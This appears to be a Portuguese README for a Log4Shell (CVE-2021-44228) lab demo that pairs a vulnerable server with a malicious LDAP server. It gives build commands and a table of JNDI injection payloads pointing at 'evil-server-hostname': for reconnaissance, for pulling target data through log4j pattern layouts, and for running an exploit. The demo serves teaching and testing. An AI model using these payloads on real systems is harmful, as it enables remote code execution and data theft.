
Uma demonstração da vulnerabilidade Log4Shell (CVE-2021-44228).
Uma demonstração da vulnerabilidade Log4Shell (CVE-2021-44228).
O servidor web vulnerável e o servidor LDAP malicioso foram ambos compilados e testados no JDK 1.8.0_181.
goodguys, execute gradlew bootJarjava -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys, execute mvn packagejava -jar .\target\evil-server.jarNota: O Windows Defender pode mover silenciosamente
target\classes\Exploit.classpara quarentena.
Os comandos maliciosos estão definidos dentro de Exploit.java.
| Input | Remarks |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | Verifica se o alvo é vulnerável ouvindo uma requisição de conexão ao servidor LDAP. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | Anexe quaisquer layouts de padrão log4j válidos para coletar os dados do alvo e exibir no terminal do atacante. |
https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/
${jndi:ldap://evil-server-hostname:389/Exploit}| Execute o payload. |